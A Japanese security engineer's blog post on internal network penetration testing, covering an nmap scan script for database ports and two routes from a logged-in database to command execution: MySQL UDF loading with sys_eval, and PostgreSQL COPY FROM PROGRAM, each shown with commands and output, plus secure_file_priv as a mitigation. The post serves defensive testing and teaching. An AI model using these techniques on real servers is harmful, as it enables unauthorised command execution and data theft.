この記事は、Akatsuki Advent Calendar 2019の21日目の記事です。
こんにちは、セキュリティエンジニアの小竹 泰一(aka tkmru)です。 アカツキでは、アプリケーションや社内ネットワークに対する脆弱性診断やツール開発/検証を担当しています。 この記事では内部ネットワーク診断でDBサーバーを発見したときに確認する項目を紹介したいと思います。
内部ネットワーク診断とは
社内ネットワークにつないだ診断員のPCからネットワーク上の端末へ攻撃を行い、ミドルウェアの設定不備による脆弱性や、ソフトウェアが古いバージョンのまま放置されていることによる脆弱性などを発見するのが内部ネットワーク診断です。 脆弱性を見つけるだけではなく、見つけた脆弱性を使って更にどれだけ会社にダメージを与えられるかまでを検証し、ペネトレーションテスト相当のことにまで踏み込んで診断を実施しています。 脆弱性を持つ端末が社内ネットワークに放置されていると、社内ネットワークに攻撃者が何らかの形(社員のPCがマルウェア感染 etc)で侵入した場合、その端末を攻撃の起点として、機密情報が奪取される可能性があります。 このような攻撃シナリオに基づいて、内部ネットワークに接続されている脆弱性を持つ端末を発見し、 攻撃者が見つかった脆弱性を利用しどこまで社内ネットワークを侵害できるか検証するのが診断の目的です。
なぜDBサーバー?
社内ネットワークに建てられているサーバー群は、本番環境で運用されているものに比べ、脆弱性が存在している可能性が高く、攻撃者やペンテスターのターゲットになります。その中の1つがDBサーバーです。 開発環境のDBサーバーにログインできれば、世の中に公表されてないサービスの情報などの機微な情報を取得できる可能性があり、条件がそろえばシェルを奪うこともできます。
DBサーバーを素早く発見するために、私は以下のようなシェルスクリプトを使っています。Nmapを使ってMySQLがよく使用する3306番のポート、PostgresSQLがよく使用する5432番のポート、Redisがよく使用する6379番のポートをスキャンし、xml形式で結果を保存するスクリプトです。ホストのIPアドレスが頻繁に変わる環境では、ホスト毎にウェルノウンポートすべてをスキャンしている間にスキャン済みのホストのIPアドレスが変化してしまうため、このような狙いをつけているサービスが動いているホストを素早く見つけるスクリプトがあると便利です。
#!/bin/sh set -eu hosts=( xxx.xxx.xxx/24 xxx.xxx.xxx/23 ) exclude_hosts='xxx.xxx.xxx,xxx.xxx.xxx' today=`date +%Y%m%d` if [ ! -d ./results/${today} ]; then mkdir -p ./results/${today} fi for h in ${hosts[@]} do escaped=`echo $h | tr "/" "_"` # MySQL now=`date +%Y%m%d_%H%M%S` nmap --exclude ${exclude_hosts} -p3306 -v -oX results/${today}/mysql_${escaped}_${now}.xml ${h} # PostgresSQL now=`date +%Y%m%d_%H%M%S` nmap --exclude ${exclude_hosts} -p5432 -v -oX results/${today}/postgre_${escaped}_${now}.xml ${h} # Redis now=`date +%Y%m%d_%H%M%S` nmap --exclude ${exclude_hosts} -p6379 -v -oX results/${today}/redis_${escaped}_${now}.xml ${h} done
このシェルスクリプトでNmapを駆使しDBサーバーを発見した後は、DBサーバーに推測容易なパスワードがかけられていないか、念の為にパスワード辞書を使ったブルートフォース攻撃を行い確認するのですが、パスワードに空文字が設定されているDBサーバーが多々あり、ブルートフォース攻撃をするまでもなくログインできるケースも多いです。
DBサーバーにログインできただけで脆弱性を発見したことにはなるのですが、やはりセキュリティエンジニアとしては、シェルを取りたいところです。ここからはログインできたDBサーバーを通してRCE(Remote Code Execution)に持ち込む方法の中で日本語の資料がない2つの方法を紹介していきたいと思います。
MySQL UDF Exploitation
MySQL UDF Exploitationは古いバージョンのMySQLサーバーに対して有効な攻撃手法です。UDF(User Defined Function)はユーザーが自由にMySQLに関数を追加するためのMySQLの機能で、plugindir
に指定されているディレクトリに配置した共有ライブラリ内の関数を、MySQLの関数として使用できるよう設定できます。plugindir
に指定されているディレクトリは、select @@plugin_dir
で確認できます。
mysql> use mysql; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> select @@plugin_dir; +------------------------+ | @@plugin_dir | +------------------------+ | /usr/lib/mysql/plugin/ | +------------------------+ 1 row in set (0.00 sec)
load_file関数を使うと、plugindir
へサーバ内にある共有ライブラリをロードできます。
mysql> select load_file('./lib_mysqludf_sys_64.so') into dumpfile "/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so"; Query OK, 1 row affected (0.00 sec)
ローカルにあるファイルをサーバへとアップロードしたい場合は、一度共有ライブラリをbase64に変換し、from_base64関数を使ってサーバ内でデコードし、ファイルとして書き出すことでアップロードできます。
mysql> select from_base64("f0VMRgIBAQAAAA(省略)ABAAAAAAAAAAAAAAAAAAAA") into dumpfile "/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so" Query OK, 1 row affected (0.00 sec)
共有ライブラリをロードした後は、CREATE FUNCTION構文を使うことで、指定した共有ライブラリの関数をMySQLの関数として登録できます。ここでは、Metasploitに組み込まれているlib_mysqludf_sys_64.soのsys_eval関数をMySQLの関数に登録しています。sys_eval関数は引数に与えられたコマンドを実行してくれます。
mysql> create function sys_eval returns string soname 'lib_mysqludf_sys_64.so'; Query OK, 0 rows affected (0.00 sec)
lib_mysqludf_sys_64.soのソースコードはMetasploit内には見当たりませんでした。 mysqludf/lib_mysqludf_sysのソースコードを使って生成したバイナリがMetasploit内で使われているようです。lib_mysqludf_sysはsqlmapでも使われていました。
mysql.funcテーブル内を検索することで指定した関数が登録されているのか確認することもできます。 今回の場合だとsys_eval関数が登録されていることが確認できました。
mysql> select * from mysql.func where name = 'sys_eval'; +----------+-----+------------------------+----------+ | name | ret | dl | type | +----------+-----+------------------------+----------+ | sys_eval | 0 | lib_mysqludf_sys_64.so | function | +----------+-----+------------------------+----------+ 1 row in set (0.00 sec)
引数に実行したいコマンドを指定してsys_eval関数を実行すると、実行したコマンドの結果が以下のように返ってきます。
mysql> select sys_eval('id'); +-------------------------------------------------+ | sys_eval('id') | +-------------------------------------------------+ | uid=101(mysql) gid=101(mysql) groups=101(mysql) | +-------------------------------------------------+ 1 row in set (0.01 sec)
secure_file_priv
secure_file_priv
は、データをファイルとして書き込んだり読み込んだりする際に、使用可能なディレクトリを制限する設定項目です。secure_file_priv
で指定されたディレクトリにしかファイルを書き込めなくなるため、これが適切に設定されているとplugin_dir
にファイルを書き出すことができず、UDF Exploitationを行うことはできません。
5.7.5以前ではデフォルト値が空でしたが、5.7.6以降ではプラットフォームに応じたパスがデフォルトで設定されています。そのため、今日ではUDF Exploitationが有効なホストは減っています。
Ubuntu上にインストールしたMySQLでは以下のようにsecure_file_priv
、plugin_dir
がそれぞれ設定されていました。plugin_dir
に指定されているパスはsecure_file_priv
に含まれておらず、plugin_dir
にファイルを書き出すことができないことが分かります。
mysql> show variables like "secure_file_priv"; +------------------+-----------------------+ | Variable_name | Value | +------------------+-----------------------+ | secure_file_priv | /var/lib/mysql-files/ | +------------------+-----------------------+ 1 row in set (0.00 sec) mysql> show variables like 'plugin_dir'; +---------------+------------------------+ | Variable_name | Value | +---------------+------------------------+ | plugin_dir | /usr/lib/mysql/plugin/ | +---------------+------------------------+ 1 row in set (0.00 sec)
また、secure_file_priv
に指定するパスをコンソールから書き換えることもできません。
mysql> set @@GLOBAL.secure_file_priv = ""; ERROR 1238 (HY000): Variable 'secure_file_priv' is a read only variable
PostgreSQLのCOPY TO/FROM PROGRAM
PostgreSQLにはデフォルトで有効になっているCOPY TO/FROM PROGRAM
という機能があります。
COPY FROM
はファイルからテーブルへとデータをコピーする構文で、これにPROGRAM
を指定すると、指定されたコマンドを実行し、その結果をテーブルへと書き込んでくれます。COPY TO
はテーブルからファイルへとデータをコピーする構文で、これにPROGRAM
を指定すると、テーブルから抜き出したデータを、指定されたコマンドへと渡してくれます。
この機能を使ってRCEに持ち込むことができます。以下にCOPY FROM PROGRAM
を使った例を示します。
まず最初に、cmd_execというテーブルを作成し、COPY FROM PROGRAM
の指定したコマンドの実行結果のコピー先にしています。次に、COPY FROM PROGRAM
を実行しidコマンドを実行しています。そして最後にSELECT * FROM
構文でcmd_execテーブルに格納されたコマンド実行結果を表示しています。
$ psql -h xx.xx.xx.xx -p 5432 -U postgres psql (11.5, server 10.7 (Debian 10.7-1.pgdg90+1)) Type ""help"" for help. postgres=# CREATE TABLE cmd_exec(cmd_output text); CREATE TABLE postgres=# COPY cmd_exec FROM PROGRAM 'id'; COPY 1 postgres=# SELECT * FROM cmd_exec; cmd_output ------------------------------------------------------------------------ uid=999(postgres) gid=999(postgres) groups=999(postgres),103(ssl-cert) (1 row)
この機能によるOSコマンドインジェクションは、CVE-2019-9193としてCVEに採番されていますが、PostgreSQLのセキュリティチームはこれを脆弱性と認めておらず、単なるいち機能だと主張しており、このテクニックは最新版のPostgreSQLでも有効です。
PostgreSQL: CVE-2019-9193: Not a Security Vulnerabilityには次のように書かれています。
By design, there exists no security boundary between a database superuser and the operating system user the server runs under. As such, by design the PostgreSQL server is not allowed to run as an operating system superuser (e.g. "root"). The features for COPY .. PROGRAM added in PostgreSQL 9.3 did not change any of the above, but added a new command within the same security boundaries that already existed.
We encourage all users of PostgreSQL to follow the best practice that is to never grant superuser access to remote or otherwise untrusted users. This is a standard security operating procedure that is followed in system administration and extends to database administration as well.
大雑把に訳すと「PostgreSQLサーバーはrootユーザーのようなOSのスーパーユーザーからは動かせないようになっており、COPY TO/FROM PROGRAM
もPostgreSQLを動かすユーザーと同一権限でしか動作しない。すべてのユーザーはスーパーユーザーや信頼できないユーザーからのリモート接続を許可しないようにするべきだ。」というところでしょうか。たしかに一理ありますね🦀
まとめ
DBサーバーに対する攻撃手法を2つ紹介しました。この記事上では全手動で攻撃を行っていますが、実際に診断を行う際は全手動で行う訳ではなく、GVM(Greenbone Vulnerability Management)のようなスキャナーも併用します。
GVMは手動では発見しにくい、デフォルトポート以外で動作しているログイン可能なDBサーバーを発見してくれる、便利な一面もありますが、COPY TO/FROM PROGRAM
が有効かどうかのようなログインした上で試さないと分からないような項目の検証まではしてくれません。
セキュリティエンジニアはスキャナーに頼らず手でも脆弱性を発見できるようにしておくことが大切ですし、スキャナーを使った場合にも結果がfalse postiveではないか、より深刻な脆弱性へと発展させられないか確認する必要があります。
ペンテスター(もちろん攻撃者も!)は紹介したようにDBサーバーに夢を見ています。DBサーバー以外に、Jenkinsサーバーや、SMBサーバーにも夢を見ています。これらを管理する際は社内ネットワーク上であっても気をつけましょう。
参考資料
おまけ
ログインできたRedisからコマンドを実行する方法に関しては以下の記事がくわしいです。